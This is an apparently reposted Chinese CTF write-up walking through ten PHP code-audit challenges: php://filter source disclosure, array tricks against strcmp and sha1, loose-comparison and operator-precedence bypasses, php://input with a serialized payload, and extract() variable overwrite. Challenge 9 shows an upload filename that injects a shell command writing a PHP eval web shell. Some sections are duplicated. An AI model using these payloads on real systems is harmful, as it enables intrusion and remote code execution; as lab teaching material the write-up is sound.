MiniProject_PHP_Code_audit Writeup

作者:zts

原文地址:https://secvul.com/topics/981.html


关于PHP代码审计

针对于代码审计也是因为自己经常去打一些CTF,写点东西有助于自己的思考和复盘。自己做了两个开源项目,一个起名为VulnCTF,一个就叫作MiniProject_PHP_Code_audit。VulnCTF主要是使用Github+Dockerfile,然后联动了Dockerhub,在Github更新的时候就会自动重新构建一遍Image,这个好处就是可以直接进行Docker pull在Docker run就可以,节省了构造镜像的过程,也避免了构造中的错误,执行容器后打开网站80端口里面有一个题目导航的页面,使用类似于知道创于技能表的节点图示,可以简单明了的看到题目简介和跳转到每个题目,方便大家复现练习。【感觉不错的可以Star有想一起做的可以fork】
由于第一个项目有点繁琐,所以我又建立了一个方便的代码审计的项目,每道题目的代码都有注释并且配有讲解的md文件,而且github的空间有限,图片太占地方,所以引入了朋友推荐的七彩图床,当图片放在第三方,既减轻了github的空间也相当于对cdn加速。

  • 在CTF中经常出现一些代码审计的题目,记得刚开始接触这类题目的时候束手无策,现在再看到当年束手无策的题目都感觉当年自己怎么这么笨,抽空的时候开始补充一些和代码审计有关的site,温故而知新。
    在CTF中经常会考到一些PHP的黑魔法,在网上也看到了很多关于各种PHP黑魔法的讲解,不过有一些只讲了一些site,但是没有讲解,就好比高考前做卷子的时候知道了答案,后面却跟着讲解-略,顿时都有撕练习册的感觉,为了避免这种情况,我也稍详细的补充了一些,希望会有帮助。
    在做一些产品安全性体验和CTFweb题目的时候,经常遇到一些有意思的处理逻辑,感觉不管是对渗透测试还是对打CTF代码审计都有很多好处,总结一下。

关于Python Web开发

主要是自己曾经帮助团队开发过一些内部产品(我把那个平台起名叫VulnBug,但是因为在内部使用没办法开源)
VulnBug平台整体架构:以漏洞闭环系统作为中央控制台,分别远控部署四个版本的设备节点,一台插件引擎部署节点,一台Docker漏洞环境部署节点作为执行者,中央控制台将不同的任务下发给不同的节点去执行,返回结果经过处理后返回到漏洞闭环系统。
主要技术使用 bootstrap+angularjs【前端】,flask【后端】,nginx+supervisor【部署】(有兴趣的可以私下交流)

MiniProject_PHP_Code_audit-1 Writeup

整体逻辑:

PHP官方文档描述了这样的一种场景,当您在include语句中使用输入变量而没有正确的输入验证时,会发生LFI和RFI漏洞。
用户需要输入一个page参数,作为程序员,会希望您访问到Y29uZmln.php中的phpinfo信息,但是攻击者可以获取源代码。

考点:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。

测试代码:

Writeup:

打开页面查看源代码发现注释(图一)

《MiniProject_PHP_Code_audit Writeup》
访问Y29uZmln.php发现执行了phpinfo();(图二)

《MiniProject_PHP_Code_audit Writeup》
但是没有flag,通过php://filter获取Y29uZmln.php源代码(图三)

《MiniProject_PHP_Code_audit Writeup》
Base64解密后得到flag(图四)。

《MiniProject_PHP_Code_audit Writeup》

参考链接:

PHP 手册:http://php.net/manual/zh/function.include.php
谈一谈php://filter的妙用-Phithon:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

MiniProject_PHP_Code_audit-2 writeup

整体逻辑:

用户传入字符串类型的值和后台的’cab56ab0de5376d2a0c73307ea011da4’值做比较,如果相等,输出flag。

考点:PHP黑魔法–strcmp

strcmp — 二进制安全字符串比较,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。
strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==,NULL==0是 bool(true)

《MiniProject_PHP_Code_audit Writeup》

实际测试如下:

PHP5.2.1版本中使用strcmp比较数组和字符串时候会返回 int(1)

《MiniProject_PHP_Code_audit Writeup》
PHP5.3版本中使用strcmp比较数组和字符串时候会返回 null

《MiniProject_PHP_Code_audit Writeup》

测试代码:

<?php 
 if(null){
 echo 'test';
 }else{
 echo 'test2';
 }

if(null==0){
 echo '123456';
 }else{
 echo '654321';
 }

if(null===0){
 echo 'abc';
 }else{
 echo 'cba';
 }
?>

结果如下:

《MiniProject_PHP_Code_audit Writeup》

Writeup:

访问:http://localhost/MiniProject_PHP_Code_audit/Web2/index.php?password[]=123

《MiniProject_PHP_Code_audit Writeup》

参考链接:

CTF之PHP黑魔法总结:http://www.am0s.com/ctf/128.html
PHP 手册 :http://php.net/manual/zh/function.strcmp.php

MiniProject_PHP_Code_audit-3 Writeup

整体逻辑:

这段代码的逻辑是用户输入username和password两个参数,如果username和password的值不相等,再判断username和password字符串的 sha1 散列值与类型是否相等,如果相等才输出flag值。

考点:

这段代码中有一个逻辑点,怎么样使的两个值不相等,但是sha1()后的值相等。===会比较类型,比如bool sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造username和password既不相等,又同样是数组类型。
1. === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
2. == 在进行比较的时候,会先将字符串类型转化成相同,再比较。
PS:URL可以传递数组参数,形式是链接:xxx.com?x[]=1&x[]=2&x[]=3
这样就提交了一个x[]={1,2,3}的数组。 如果使用sha1对一个数组进行加密,返回的将是NULL,NULL===NULL。

测试代码:

通过打印出传入的值以及类型,以及sha()后的值和类型看看如何绕过:

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

Writeup:

分析代码逻辑,发现GET了两个字段username和password,获得flag要求的条件是:username != password & sha1(username) == sha1(password),可以利用sha1()函数的漏洞来绕过。
如果把这两个字段构造为数组,如:?name[]=a&password[]=q,这样在第一处判断时两数组确实是不同的,但在PHP中,sha1 是不能处理数组的,sha1(数组)会返回null,所以sha1 (a[])==null,sha1 (b[])==null,sha1 (a[])=sha1 (b[])=null,这样就可以了。
在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。经验证md5()函数同样存在此漏洞。
index.php?username[]=1&password[]=9

《MiniProject_PHP_Code_audit Writeup》

参考链接:

PHP手册:http://php.net/manual/zh/function.sha1.php
php 弱类型总结:http://www.cnblogs.com/Mrsm1th/p/6745532.html

MiniProject_PHP_Code_audit-4 Writeup

整体逻辑:

初始变量被赋值为string,所以打开就是输出”is_numeric(a) and is_numeric(b) error !”,根据题目同时出现is_numeric()和and判断,引用暗羽表姐的博客截图来绕过第二个is_numeric() 判断,绕过 。

考点:

只是知道这是绕过的一种方式,但是为什么会出现这种情况呢,本来以为只要第一个判断为真就不会判断后面的条件正确还是不正确 ,以为问题出现在is_numeric,但是问题好像出现在and上面,根据PHP的优先级来看 赋值运算= 优先级大于 and 。
举一个例子:

《MiniProject_PHP_Code_audit Writeup》
算是PHP的一种特性吧:

《MiniProject_PHP_Code_audit Writeup》

测试代码:

<?php 
$test = true and false;
var_dump($test);
$test2 = true && false;
var_dump($test2);
?>

Writeup:

初始变量被赋值为string,所以打开就是输出”is_numeric(a) and is_numeric(b) error !”,根据题目同时出现is_numeric()和and判断(图一)

《MiniProject_PHP_Code_audit Writeup》
由于使用了and,出现了PHP解析优先级的问题,绕过。

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

参考链接:

由PHP小tip引发的思考(PHP优先级):https://www.t00ls.net/viewthread.php?from=notice&tid=42223
CTF 之 PHP 黑魔法总结 :http://www.zjicmisa.org/index.php/archives/112/
运算符优先级:http://php.net/manual/zh/language.operators.precedence.php

MiniProject_PHP_Code_audit-5 Writeup

整体逻辑:

PHP官方文档描述了这样的一种场景,当您在include语句中使用输入变量而没有正确的输入验证时,会发生LFI和RFI漏洞。
用户需要输入一个page参数,作为程序员,会希望您访问到Y29uZmln.php中的phpinfo信息,但是攻击者可以获取源代码。

考点:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。

测试代码:

Writeup:

打开页面查看源代码发现注释(图一)

《MiniProject_PHP_Code_audit Writeup》
访问Y29uZmln.php发现执行了phpinfo();(图二)

《MiniProject_PHP_Code_audit Writeup》
但是没有flag,通过php://filter获取Y29uZmln.php源代码(图三)

《MiniProject_PHP_Code_audit Writeup》
Base64解密后得到flag(图四)。

《MiniProject_PHP_Code_audit Writeup》

参考链接:

PHP 手册:http://php.net/manual/zh/function.include.php
谈一谈php://filter的妙用-Phithon:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

MiniProject_PHP_Code_audit-6 Writeup

整体逻辑:

Get方式接受a参数,下面的两个条件理论上只能符合一个,但是由于用了==比较,导致可以用.绕过。

考点:

接收参数$a存在,并且$a==0可用.绕过引发的思考
因为.开头 php会把他当做字符串,字符串在弱类型转化的时候 以非数字开头的字符都转化为0,所以导致绕过。

测试代码:

测试代码如下:

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》
PS:这里只是用.举一个例子,其他非数字的也都可以绕过。
但是如果把==换成===就不可以被绕过:

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

Writeup:

根据上面的方式得到一个字符串:ZmxhZ3tUaGlTX2FfVnVsTkN0Rl9mbGFnfQ==,base64解密后得到flag.

参考链接:

PHP弱类型带来的安全问题.pdf

MiniProject_PHP_Code_audit-7 Writeup

整体逻辑:

xctf中的一道题目

考点:

接收参数中不能出现某一字符,file_get_contents()使用可以 php:// 伪协议绕过。
file_get_contents — 将整个文件读入一个字符串 file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。 但是接收参数中不能出现某一字符,file_get_contents()使用可以 php:// 伪协议绕过 。
php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特 殊的php.ini设置。php://input不能用于enctype=multipart/form-data
Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST

测试代码:

class Read{
 public $file = 'php://filter/read=convert.base64-encode/resource=f1aG.php';
}
$file = new Read;
echo serialize($file);

结果为序列化字符串【如图】:

《MiniProject_PHP_Code_audit Writeup》

Writeup:

借鉴大佬的思路,
这个题目考察的是php封装协议和lfi【图一为index.php,图二为class.php】

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》
这个题目首先要突破的是:if(isset($user)&&(file_get_contents($user,’r’)===”the user is admin”)) 如何让file_get_contents($user,’r’)===”the user is admin”呢? 答案是用php的封装协议php://input,因为php://input可以得到原始的post数据【图三】:

《MiniProject_PHP_Code_audit Writeup》
然后我到了:include($file); //class.php 这一步 这个很明显是暗示你去读取class.php 如何读呢?这里用到php的另一个封装协议:php://filter 利用这个协议就可以读取任意文件了 利用方法:php://filter/convert.base64-encode/resource=index.php 这里把读取到的index.php的内容转换为base64的格式【图四】

《MiniProject_PHP_Code_audit Writeup》
但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件 于是我们构造反序列化的参数【反序列化后续再讲】: http://localhost/ctf/index.php?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1aG.php”;} 这里也是利用php://filter来读取flag文件【图五,图六】

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

参考链接:

PHP-file_get_contents:http://php.net/manual/zh/function.file-get-contents.php
PHP-preg_match:http://php.net/manual/zh/function.preg-match.php
LFI、RFI、PHP封装协议安全问题学习:http://www.cnblogs.com/LittleHann/p/3665062.html
2016xctf一道ctf题目:http://blog.csdn.net/niexinming/article/details/52623790
php 伪协议:http://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
php伪协议实现命令执行的七种姿势:http://www.freebuf.com/column/148886.html

MiniProject_PHP_Code_audit-8 Writeup

整体逻辑:

GET方式获得的变量导入到当前的符号表中. 然后判断$attempt与$从$filename处理后得到的变量,两个变量的内容是否相等,如果相等输出flag。

考点:extract变量覆盖

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值。经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables()。
extract(array,extract_rules,prefix),extract() 函数从数组中将变量导入到当前的符号表。对于数组中的每个元素,键名用于变量名,键值用于变量值。

测试代码:

$test = 1;
 var_dump($test);
 $b = array('test' => 'hahahaha');
 extract($b);
 var_dump($test);

结果如下:

《MiniProject_PHP_Code_audit Writeup》

Writeup:

源代码【下图】:

《MiniProject_PHP_Code_audit Writeup》
在第五行, 运用了extract()函数, 将GET方式获得的变量导入到当前的符号表中. 然后判断$attempt与$从$filename处理后得到的变量,两个变量的内容是否相等. $combination变量储存的是flag.txt的内容. 但是我们并不能查看test.txt, 所以并不知道该怎么去设置$attempt的值. 但是, 由于extract()函数的不足之处, 导致这段代码存在一个变量覆盖漏洞. 只要我们这样构造url【图二】

《MiniProject_PHP_Code_audit Writeup》
那么, 我们可以发现, $attempt变量和$combination变量的内容都会被设置成空字符串. 这样, $attempt===$combination的判断就成立了, 我们就能成功地拿到flag.txt的内容.

参考链接:

PHP extract() 函数:http://www.w3school.com.cn/php/func_array_extract.asp
extract()函数导致的变量覆盖漏洞:http://blog.sina.com.cn/s/blog_15db60e8e0102wndj.html

MiniProject_PHP_Code_audit-9 Writeup

整体逻辑:

文件上传就一定是文件上传吗?【web思路】
前段时间遇到了一个web的真实场景,改编成了一道CTF题目,主要是给web提供一些思路,如果没遇到估计很难想象还会出现这样的代码出现。。。

考点:

文件上传不一定是文件上传,有可能涉及命令执行,给代码审计和渗透测试提供了新的思路。

测试代码:【如下图源代码】

《MiniProject_PHP_Code_audit Writeup》

Writeup:

从上面的代码可以看出整个流程为,用户通过前端上传文件,通过检测文件上传后的文件名,如果不是txt结束,如果是txt则将上传的文件移动到新的位置,然后执行tail命令,输出文本的最后一行内容。 流程是没有问题的,但是过于相信用户可控的输入,没有进行过滤导致出现命令执行漏洞。如果我们通过截断exec执行的命令,写入一个shell会怎么样呢? 我们可以尝试将文件名构造一下1;echo ‘<?php @eval($_POST[c]); ?>’ >1.php;1.txt【在windows不能这么命名,需要抓包改一下在上传】

《MiniProject_PHP_Code_audit Writeup》
这时候发现在目录下已经生成1.php的shell文件,链接后可以执行命令

《MiniProject_PHP_Code_audit Writeup》

参考链接:

MiniProject_PHP_Code_audit-10 Writeup

整体逻辑:

这是当时高校安全运维赛的一道题目,一直没有时间来整理,前段时间刚好又看到了这个源代码,给大家提供一些CTF中的思路.
用户需要输入一个page参数,作为程序员,会希望您访问到Y29uZmln.php中的phpinfo信息,但是攻击者可以获取源代码。

考点:文件上传的一点思路【web思路】

测试代码:源代码如下

《MiniProject_PHP_Code_audit Writeup》

Writeup:

梳理一遍逻辑:
默认role为guest,auth为false,如果获取不到cookie里面的role值就将guest的值序列化后在base64编码后放到cookie中并输出”Sorry. You have no permissions.”,如果获取到cookie里面的值就将值反序列化后用base64解码如果为admin则开始获取post提交的filename参数和data参数的值,如果data参数中带有[<>?]就输出’No No No!’,如果输入的是一个数组,就是先拼接这个数组,然后匹配里面是否存在[<>?],如果存在,就可以得到正确的flag了。

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》

《MiniProject_PHP_Code_audit Writeup》
这里主要关心的是逻辑,使用数组的时候既可以满足源代码的一切条件~ 刚开始没看到代码的时候还以为是file_put_content函数呢0.0.

参考链接:

Pwnhub 第一次线下沙龙竞赛Web题解析:https://www.leavesongs.com/PENETRATION/pwnhub-first-shalon-ctf-web-writeup.html

点赞

发表评论